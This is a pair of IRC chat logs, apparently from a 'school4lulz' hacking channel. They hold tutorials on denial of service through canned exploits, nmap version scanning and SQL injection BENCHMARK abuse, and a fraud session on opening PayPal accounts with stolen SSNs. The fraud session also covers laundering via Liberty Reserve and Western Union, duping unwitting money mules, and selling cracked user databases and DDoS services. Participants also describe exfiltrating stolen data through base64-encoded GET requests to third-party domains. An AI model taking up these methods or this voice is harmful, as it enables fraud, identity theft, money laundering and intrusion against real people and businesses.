[19:38:54] %AnalTouring: And you DONT FUCKING DARE USING IT FOR DDOS.
[19:39:00] %AnalTouring: IF YOU FIND ONE, SEND IT TO SOMEONE WHO KNOWS WHAT TO DO WITH IT.
[19:39:09] ~Fox: Exactly.
[19:39:10] %AnalTouring: BoF > DDos any time.
[19:39:54] %LordKitsuna: Question: i assume thats what the little button in my routers security logs that says "prevent buffer overflow" is reffering to?
[19:40:07] somatose (~somatose@LulzCo-E964C21F.hsd1.ca.comcast.net) joined the channel.
[19:40:08] %AnalTouring: different buffers.
[19:40:35] +i0dine: Bofs seem like a pretty easy thing to defend against, are there really devs who let them slip? or am i thinking of them too simply
[19:40:54] %AnalTouring: i0dine, have you ever written c/c++?
[19:41:04] +str4d: i0dine: often they arise from software bugs rather than bad server configs.
[19:41:09] %AnalTouring: it's non-trivial to write FAST and secure code.
[19:41:14] +i0dine: yea, but not anything very web-related
[19:41:25] +i0dine: okay
[19:41:27] %AnalTouring: now, on using exploits.
[19:41:34] %AnalTouring: you're not fucking likely to ever find one, that's why you're here
[19:41:47] %AnalTouring: .instead you can use canned exploits, like those from milw0rm (it died, find another like exploit-db).
[19:41:59] %AnalTouring: Exploits marked DoS are often a good start for a denial of service.
[19:42:14] %AnalTouring: Use nmap -sV to check the server's software version, find an exploit.
[19:42:19] %AnalTouring: If there's one, you're in luck.
[19:42:28] s0n1cK (s0n1cK@9A8FB7ED.20D60A78.5E7E5896.IP) left IRC. (Quit: Leaving)
[19:42:29] %AnalTouring: If there isn't one: back to step 1 and ddos normally.
[19:43:05] %eax: (although if there is a BoF leading to DoS you can more than likely turn it into a code exec BoF)

[19:43:08] %AnalTouring: http://www.exploit-db.com/ say my server runs apache 2.2.0, find me a Denial of service exploit for that server.
[19:43:19] exo (47e61e8a@LulzCo-B1EA63A4.mibbit.com) left IRC. (Quit: http://www.mibbit.com ajax IRC Client)
[19:43:34] %AnalTouring: JUST DO IT FGT.
[19:43:37] %AnalTouring: Apache 2.2.0
[19:44:26] eax found it :3
[19:44:37] %AnalTouring: good.
[19:44:42] %AnalTouring: at least one person who isn't a complete fuckwit.
[19:44:45] %AnalTouring: anyone else find it?
[19:44:57] +str4d: Yup.
[19:45:09] %LordKitsuna: i can find for 2.2.14 but not 2.2.0
[19:45:20] +YaHMan: then it will work for 2.2.0
[19:45:24] +YaHMan: right?
[19:45:24] %AnalTouring: 2.2.14 is bigger than 2.2.0 right?
[19:45:32] %AnalTouring: that means that it'll probably work on 2.2.0
[19:45:37] %LordKitsuna: oh ok then
[19:45:39] %AnalTouring: but if you're not sure, READ THE FUCKING DOCUMENTATION.
[19:45:54] %AnalTouring: I'm sure you all know what a computer emergency response team is.
[19:46:02] %AnalTouring: Those are the dudes that will try to get you arrested when you fuck shit up.
[19:46:10] %AnalTouring: Now, we're going to have a laugh, DONT DDOS ANYTHING.
[19:46:16] %AnalTouring: Look at www.cert.be
[19:46:25] %AnalTouring: nothing special right?
[19:46:40] %AnalTouring: https://addons.mozilla.org/en-us/firefox/addon/server-spy/ WRONG.
[19:46:45] %AnalTouring: now visit it with that firefox addon.
[19:46:50] %AnalTouring: you will see it runs apache 2.2.0
[19:46:53] %AnalTouring: you may now shit yourself laughing.
[19:47:02] pRjck3vC (~qz5UMksT@555E4E05.CD918B2F.380801F2.IP) left IRC.
[19:47:29] pRjck3vC (~qz5UMksT@B8976F23.CD918B2F.380801F2.IP) joined the channel.
[19:47:42] %eax: (until you realize that the DoS for apache 2.2 is for windows with perl and is a local DoS)
[19:47:50] %AnalTouring: Ok, so now that you know that there's a big probability of actually FINDING an exploit, you better get to know how to run them, and how to tell fake from non-fake exploits.
[19:47:53] nonbit (~amnesia@3AA99AC5.50F87CEE.BEB00337.IP) joined the channel.
[19:48:02] %AnalTouring: eax: you can use a mod_rewrite on this one tough.
[19:48:10] %eax: ah ok
[19:48:27] %AnalTouring: http://httpd.apache.org/security/vulnerabilities_20.html http://httpd.apache.org/security/vulnerabilities_22.html also cocks.
[19:48:36] %AnalTouring: apache is the most well known web server, so remember those lists.
[19:48:48] %AnalTouring: now that you know how to FIND exploits, you must learn how to USE them.
[19:49:01] %AnalTouring: to USE them you must somewhat UNDERSTAND how they work, or at least how to run the code.
[19:49:22] %AnalTouring: For that, teach yourself some basic programming skills.
[19:49:42] %AnalTouring: As in "HOW DO I RUN PHP SCRIPTS GUISE?"
[19:49:51] %AnalTouring: Google it and you'll find a million answers.
[19:50:15] %AnalTouring: now
[19:50:20] %AnalTouring: onto other ways of denial of service
[19:50:26] %AnalTouring: one of my favorites, SQL Injection.
[19:50:35] %eax: (most exploits are written in ruby, perl, python, and C)
[19:50:38] %AnalTouring: yes SQL has built in DoS functionality, believe it or not!
[19:51:02] %AnalTouring: http://dev.mysql.com/doc/refman/5.0/en/information-functions.html#function_benchmark
[19:51:16] %AnalTouring: ok, you might think that's harmless.
[19:51:16] %AnalTouring: but that does something a million times.
[19:51:23] %AnalTouring: now if that something is fucking slow.
[19:51:27] %AnalTouring: like old people fuck.
[19:51:35] %AnalTouring: that shit's going to make the server slow.
[19:51:38] %AnalTouring: again, like old people fuck.
[19:51:52] %AnalTouring: but omg how do i do this?
[19:51:58] %AnalTouring: first you must know how to find a SQL Injection.
[19:52:11] %AnalTouring: give me a few minutes to find you a practice target, while Fox continues.
[19:52:47] %LordKitsuna: AnalTouring, we have a practice target for injections its japfap.ath.cx ` set it up a few days ago
[19:53:04] %AnalTouring: Could you link me a page?
[19:53:24] %eax: http://japfap.ath.cx/
[19:53:25] %LordKitsuna: should be japfap.ath.cx/testshit
[19:53:53] %AnalTouring: ALSO: WARNING PEOPLE, DO NOT VISIT LINKS FROM HERE WITHOUT A PROXY.
[19:53:54] %AnalTouring: EVERYONE IN HERE COULD BE A FEDERAL AGENT WAITING TO SEND YOUR ASS TO JAIL
[19:53:55] %AnalTouring: UNDERSTAND?

Fraud – hacking monetization (by Fox)

Posted by xoxo on June 11, 2011 None comments

* Fox has changed the topic to: Hacking Monetization || LOLHackers.com\tracksndocs – Notes. || donations to 1PdAKJBv8Et5yAt9GBetsf5WxgnkLqZ9Tc (`) or 18hRWnxoHztBPDYQ9bPA1uUpN8LTrd7xbB

(Fox) for more wargames || @H4ckfox || you want voice ask xoxo
<phed> me please
<tzaki> might aswell throw me a +v
* xoxo gives voice to phed
* Fox sets mode +m #school4lulz
<Fox> Alright, just note anyone with +v
<Fox> you say dumb shit, get kicked.
<Fox> So todays topic is fraud.
<Fox> Things on the internet cost money.
* Condor has quit (Ping timeout: 240 seconds)
<Fox> Things on the internet that we want to buy, for bad reasons we obviously don't want attached to our name.
<xoxo> because if they do get attached to our name; we can get tracked
<Fox> Right now if paypal knew all the accounts that were attached to me, I'd probably owe them in excess of 30-40k.
<Fox> Now I'm going to cover how to pay, and how to get paid.
<Fox> Obviously paying isn't as complicated as getting paid.
* Fox gives voice to tzaki
<Fox> Anyways
<Fox> Paypal is obviously a good choice, as are any form of credit card numbers.
<Fox> Paypal is a great opportunity for you to use some of those docs that we covered in the prior session.
<Fox> Registering a paypal, should preferrably be done with a United States IP address, either VPN'd or Proxied.
<xoxo> Fox: even if you're residing outside the US? Why?
<Fox> Ensure that you have a clean browsing session, by private mode in chrome, ff, or IE is a good place to start.
<Chloe`> why is that, legislation?
<Fox> xoxo US paypals have the least amount of 'tie ups'
<xoxo> xoxo: roger that
<Fox> EU, IN, and AS paypals have a much higher fraud/regular applicant rate due to eastern european crime
<Fox> so it's best to just try and look like john q public for as long as you possibly can.
<Fox> Anyways, the preferred method to create a paypal
<Fox> imo, is a fresh gmail matching the name of your alias
<Fox> valid home address for someone, doesn't matter who
<Fox> vanilla visa (prepaid visa card or refillable card with 0 ties to your information)
<ElEzio> Fox, gmails now require a sms or phone call for verification
<xoxo> ElEzio: no, it doesn't. that is just far pass recovery.
<Fox> ElEzio not always. Only if multiple accounts are created from the same information.
<ElEzio> oh ok
<xoxo> ElEzio: for*
<Fox> anyways
<xoxo> Fox: any EU alternatives for vanilla visa?
<Chloe`> $500 / month for paypal new accounts
<Fox> Any free email provider will do
<Fox> xoxo not positive.
<Fox> Chloe` correct, but wrong
<Fox> 500 withdrawl limit.
<Fox> 500 sending limit is without CC
<Fox> so now that we've got a CC we're in step 1 verification
<Fox> To completely unlimit the account we need a bank.
<Chloe`> that is if I want to convert it to hardware, or launder it with eBay, there's a possibility.
<Fox> So, we're gonna hop on over to Etrade
<Chloe`> even above that limit
<Fox> Etrade is a brokerage firm that paypal recognizes instantly.
<Fox> So whilst creating an account with a 'real' ssn (doesn't matter if it's some poor schlep from google)
<Fox> You will have mild verification process that usually can be solved with an in depth doc dossier.
<Chloe`> (ssn = social security number, non-us guys)
<Fox> If not, find one and reuse the fuck out of it
<Fox> Anyways, once the application is completed you have an account number.
<Fox> You'd go back to paypal and enter the bank information as
<Fox> Etrade Bank routing (google it?) and account number
<Fox> this will ask you to verify by deposit, or immediate with user and pass
<Fox> put in user pass from etrade
<Fox> bang, immediately verified paypal
* garrett gives voice to tminus
<Fox> Now, we move along from here into funding and purchases
<phed> so just by using a ssn from google we can get a etrade account?
<Fox> Yes, but you should most likely use the account within 30 minutes
<phed> do we need anything else for it, a real address?
<Fox> fraud will kill those accounts
<phed> and link that to the prepaid vias?
<Fox> phed as long as the address validates with Etrades API as something valid you're fine
<Fox> So no 123-fuck street
<phed> yeah cool
<Fox> If you have a refillable visa, you can throw up the digits from that
<Fox> and withdraw

<Fox> Also Chloe` for the EU I think you all can use payoneer
<Fox> but I'm not positive. Someone will have to verifiy
<Chloe`> (hint: transcash, in Europe)
<Fox> Anyways, moving down the line
<Fox> Some pro-tips with paypal.
<Chloe`> transcash is a prepaid Visa pair
<Chloe`> gotta check how it works
<Fox> Don't switch money out immediately
<Fox> Don't get a deposit, and immediately empty the whole thing
<Fox> Paypal gets this as money laundering
<Fox> and will shut your shit down so fast your head will spin
<Fox> wait a little while then pull out 3/4 and spend the rest,
<Fox> or pull it out in a day or so
<Fox> think like you're a REAL user, and act as such
<Fox> Most of paypals freezes are based upon predetermined actions and time 'if' statements
<Fox> Also if your shit is frozen,
<Fox> Try calling them, usually they're pretty easy to social engineer.
<Fox> But if you have an ID lock on the account, then unless you're a forger or know one, you're pretty well fucked.
<Fox> ID Lock = Paypal hold on the account pending visual identification of the subject.
<Fox> Anyways, a lot of the things you can get with paypal are conversion services that can convert into different digital currencies.
<Fox> The two with the most anonymity and value I would say would be Liberty Reserve and BitCoin.
<Chloe`> like, credit a RandomService account and spend this virtual, deregulated money?
<Fox> http://www.libertyreserve.com/
<Fox> and someone get the bitcoin link
<garrett> i prefer LR over just about anything
<Chloe`> bitcoin.org
<Fox> Anyways Liberty Reserve is a lovely LOVELY way to get paid
<Fox> Liberty Reserve and BitCoin are both non-reversible forms of currency
<Fox> where as paypal is susceptible to shady chargeback procedures from a sellers behalf
<Fox> So for purchasing VPS, VPN's, Dedis, domains for things that are going to be hot
<Fox> Obviously paypal and un-ID-linked prepaids are going to be your way to go
<Fox> And garrett is going to talk about LR for a few min.
<garrett> herp
<Chloe`> workflow?
<garrett> Smoke breaks yo
<Fox> I'm grabbing a cigarette.
<Fox> lol
<garrett> LR is secure out of the box, all you really need is an email.
<garrett> Your username is randomly assigned to you, as well as your passwords, key, and master key
<garrett> I'd suggest storing that info somewhere not on your machine.
<garrett> LR is IP locked, so if you're going to be moving around, make sure you remember the pass to the email you used
<garrett> Hrm
<Chloe`> they'll ask for confirmation when connecting from elsewhere?
<garrett> Yes, they will send you an email to confirm
<garrett> Also, LR takes their fee from INCOMING cash
<garrett> IE: I send Fox 1000USD, he receives 950USD
<garrett> Other than that, uh
<garrett> Payments from LR to LR are instantaneous
<garrett> And LR is easily cashed out via exchange service
<garrett> ebuygold.net does LR to WU within 24 hours
<garrett> did i miss anything?
<xoxo> garrett: ebuygold.net doesn't work
<garrett> wat
<Chloe`> .com
<Chloe`> maybe?
<garrett> derp
<garrett> yes
<garrett> .com
<Fox> K
<garrett> sorry
<xoxo> garrett: got that
<Fox> Sweet
<ElEzio> any others like it ?
<xoxo> garrett: what is WU btw?
<garrett> Ah
<garrett> Western Union
<Fox> Western Union.
<Fox> The holy grail of C'note pimping.
<ElEzio> word
<garrett> 
<Fox> garrett should I teach them about mules?
<xoxo> garrett: Fox: WU asks for ID card, doesn't it?
<phed> yes please fox
<garrett> if you want to get into it, sure
<Fox> Kay, so mules are unsuspecting folk
<garrett> xoxo: you can do secret questions under a certain amt

<Fox> Both of those places have cards as well
<Fox> Prepaids
<Fox> So money = goes on card
<Fox> Also certain places will do SWIFT transfers, amongst a lot of other types
<Fox> so it's really what you wanna do
<Fox> But anyways,
<Fox> Mules are people that you get to cash money for you that don't know who you are.
<Fox> There are literally 10,000 ways to get mules
<Fox> but my personal favorite
<Fox> is meet someone
<Fox> give them an entirely fake name.
<Fox> Friend em up a bit
<Fox> then ask them to pick up the loot as you got mugged and don't have an ID
<Fox> it's to pay your rent, et cetera
<Fox> then when you meet them, slip em off a hundo, and never talk to them again
<Fox> So if the drop is hot
<Fox> and they picked up frauded money, or money that someone is looking for
<Fox> they are off looking for Dick
<Fox> when you're Harry.
<Fox> You follow?
<xoxo> Fox: that looks kinda brilliaaaaant!
<Fox> So just be smart.
<Chloe`> lotsa social in that.
<garrett> if you cannot social
<garrett> you will never take money from online
<garrett> to your hand
<garrett> ever
<Fox> We may get into a side-step of socialling
<Fox> but not right now.
<Fox> Anyways, monetization
<xoxo> garrett: Fox: ooh; that I can do :p
<Fox> the good stuff.
* aganaktismenoi_sto_irc (~giannhs@LulzCo-669A9C40.home.otenet.gr) has joined #school4lulz
<ElEzio> is it not possible to WU the money to another country ? and pick it up there ?
<Fox> Monetization is how are you going to take these bomb ass skills you're learning here in #school4lulz and apply it to make loot
<Fox> ElEzio it is indeed.
<Fox> If you are a lucky bastard in Latvia or some shit
<Fox> Don't give a fuck.
<Fox> Get loot.
<Fox> Anyways
<Fox> Monetization is how are you going to take these bomb ass skills you're learning here in #school4lulz and apply it to make loot
<Fox> So your options are pretty much as Follows
<xoxo> Fox: Belgium, kinda hot? Or Latvia-style?
<Fox> Belgium is a cooperating country.
<Chloe`> benelux, europe, danger.
<Fox> I'd recommend some discretion.
<Fox> Options for Money =
<Fox> Doxing for money
<Fox> Hacking for Money
<Fox> selling email lists
<Fox> selling user-dbs
<Fox> selling compromised servers
<Fox> and my personal favorite, which bought me my first car as a kid…
<Fox> DDOS for money.
<Fox> There's other shit but its irrelevant right now
<xoxo> DDos for money? So you had a botnet i suppose?
<Fox> Anyways I'll briefly cover each
<tminus> What do you think about spamming
<Fox> I pissed packets of excellence every morning
<Chloe`> like, typically, i'm sysadmin and root on some hosting, silently stream the DB to some remote location, datamine it and sell the ore?
<Fox> tminus Spamming is also another viable solution, thank you
<Fox> Chloe` exactly.
<Fox> I did that a few times myself.
<Chloe`> rates ?
<Fox> i'll get to that with the data
* zach (~zach@LulzCo-C17AE2F0.wks.liquidweb.com) has left #school4lulz
* zach (~zach@LulzCo-C17AE2F0.wks.liquidweb.com) has joined #school4lulz
<Chloe`> kthx
<Fox> now someone put in something about selling exploits.
<Fox> Going to clarify.
<Fox> WE DO NOT SELL EXPLOITS TO COMPANYS FOR PROFIT.
<Fox> Period.
<Fox> Thats whitehat shit.
<Fox> We don't do whitehat.
<Fox> I don't give a fuck how broke you are, there is a RBN affiliate or someone in eastern europe willing to pay you more, and pay you more often.

<Fox> So deal within the community on that shit
<Fox> Anyways doxing and hacking for money is pretty self explanitory
* xoxo gives voice to darkspline
<Fox> So lets get down to emails and user DB's
<tzaki> is the notes for the sqli tutorial anywhere?
<Fox> User db's are valuable when cracked from MD5 to plaintext as you are able to sell these to a lot of people
<Fox> Tzaki, stfu. ask that later.
<xoxo> (off-topic: any good md5-cracker)
<tzaki> kk
<Fox> Anyways
<Fox> When user db's are converted to plaintext, you are able to do two things
* xoxo gives voice to zach
<Fox> split it into two pieces, one being an email list
<Fox> the other being the user:pass combo
<zach> xoxo: hashcat
<Fox> So divvy that up and start making yourself some friends
<Fox> Spammers, and frauders love this kind of shit
<Fox> I've sold email DB's in the $5,000 USD range, and user db's in the $2,000 range.
* qqqq (~User@LulzCo-72899B27.appliedops.net) has joined #school4lulz
<Fox> This is good money, for good data.
<darkspline> wow!
<Fox> Obviously, if you crack iluvpuppies.blogspot.com
<Chloe`> rate per row?
<Fox> No one gives a flying fuck.
<xoxo> Fox: everything of this should be done with VPN right? (or Tor)
<xoxo> #justtipsfornewbies
<Fox> Chloe` all dependent upon the mark
<Fox> xoxo yes
<Fox> Anyways, moving down the line to…
<Fox> DDOS FOR MONEY.
<Fox> :)
<xoxo> (your first carà
<xoxo> (your first car)*
<Fox> So DDOS is Distributed Denial Of Service.
<Fox> AND NOT LOIC YOU FUCKING NOOB ASS FAGGOTS.
<zach> and RAID is backup
<zach> :D
<Fox> Fucking hate loic….
<Fox> Fucking hate loic….
* Fox has kicked zach from #school4lulz (Shut the fuck up.)
* zach (~zach@LulzCo-C17AE2F0.wks.liquidweb.com) has joined #school4lulz
<Fox> Anyways.
<Fox> Anyone ready to pay you to DDOS is either A. In a vendetta, or B. too retarded to throw around packets themselves.
<Fox> Charge them accordingly.
<Fox> Sec. gents.
<Fox> Anyways
* xoxo gives voice to zach
<Fox> Pisser I need someone to handle things for a few seconds
<Fox> I got a client calling
<xoxo> Whatcha got bro?
<Chloe`> ok typically it will be a good investment to write automated datamining tools. best way to retrieve the data? i'd use a base64-ed GET
<Chloe`> (no file, no trace, no scp, just a random domain)
* Canc3R (anonymous@7C5C58FC.E1C0F028.100FBD6A.IP) has joined #school4lulz
* aganaktismenoi_sto_irc has quit ()
<Fox> <3 keep going Chloe`
<Fox> Gonna be like 10 min
<zach> Fox: anything I can do for you today?
<Chloe`> Once you can do SQL injection I assume it is easy to fetch data you want. Typically try a table named prefix_customers or prefix_users, with sing. variant. Use of EXPLAIN sql command might be cool if you can manage it
<Chloe`> as I am a shell owner, I'll usually use streamlined bash that will perform a GET request. One single line in history, easy to grep out, usually won't be caught by a firewall (if you're root you're supposed to know anyway)
<Chloe`> if you can just inject a php file, for the sake of it, don't send anything to a domain you own. rather exploit another one, to make it harder to track you. or buy one with the great techniques Fox teaches you, with a fake identity, have it point to a random VPS and parse its logs. Whatever, these are disposable data IMO. I'm consdering doing such things for demonstration purposes
<eax> note: if you sqli a 5.xx sql server you can use information_schema to pull up tables and columns and you won't need to guess
<Chloe`> yup eax, that's a good point indeed :) on some hosts (my former employer's for example), information_schema can't be accessed with plain accounts
<Chloe`> dunno why. probably some configuration trick
<zach> Chloe`: http://www.wildcardsecurity.com/security101/index.php?title=SQL_injection#Blind_injection
<Chloe`> thx

<Chloe`> another idea: target common platforms, like ecommerce websites
<Chloe`> they usually have lots of flaws (I'm an ecommerce dev, I know this), and are not always often updated for compatibility purposes
<ElEzio> any word on porn sites ?
<Chloe`> if you write stuff for oscommerce, or prestashop, and you can secure an access to lots of them, you'll get plenty of good data
<Chloe`> not all of them use salting, afaik
<Fox> I'll get in dumping CC's here shortly
* Fox sets mode -m #school4lulz
<darkspline> mostly md5 still from what I'm seeing Chloe`
<Chloe`> so, rainbow tabling might be an option, another being to slightly alter the code to send the unencrypted data (hee haa, base64 GET) to a random place
* DaveH (~DaveH@LulzCo-7A24A8D1.dsl.eclipse.net.uk) has joined #school4lulz
<Fox> Someone make a pastebin of all this data please
<Chloe`> darkspline: salty md5 though sometimes
<darkspline> Chloe`, really? any tricks w/salty md5 seas?
* str has quit (Quit: http://www.mibbit.com ajax IRC Client)
* Canc3R (anonymous@7C5C58FC.E1C0F028.100FBD6A.IP) has left #school4lulz
<Chloe`> darkspline: bruteforce.
<darkspline> yahh
<darkspline> Chloe`, gotta get my gpu farm up for that
<Chloe`> get info on cryptoanalysis.
<darkspline> Chloe`, i've looked into it but not may short cuts that i c
* ex (~ex@DB4CEAE5.76708DC0.B7449AAF.IP) has joined #school4lulz
<Chloe`> an interesting project, since salts are not always that rich (some use a 2 hexchars salt, making it only 255 times slower) would be to rainbow table sal ranges
<Chloe`> salt ranges
<darkspline> thats true
<Chloe`> a trick i use quite often if I come to hashing is salting with a hash, making it twofold hashing, harder to reverse
<darkspline> i like
<darkspline> i do something similar
<zone> class is over?
<Chloe`> it's not worth good money to spend time cracking such passwords, except if that's for breaking into some data you die wanting
<Chloe`> nay, Fox is getting a cig
<darkspline> i wanted to upgrade some stuff from sha1 to sha256 but i didn't have the origional data. so I sha256(sha1val)
<Fox> suspended for a second while fox makes money

« Previous page | Next page »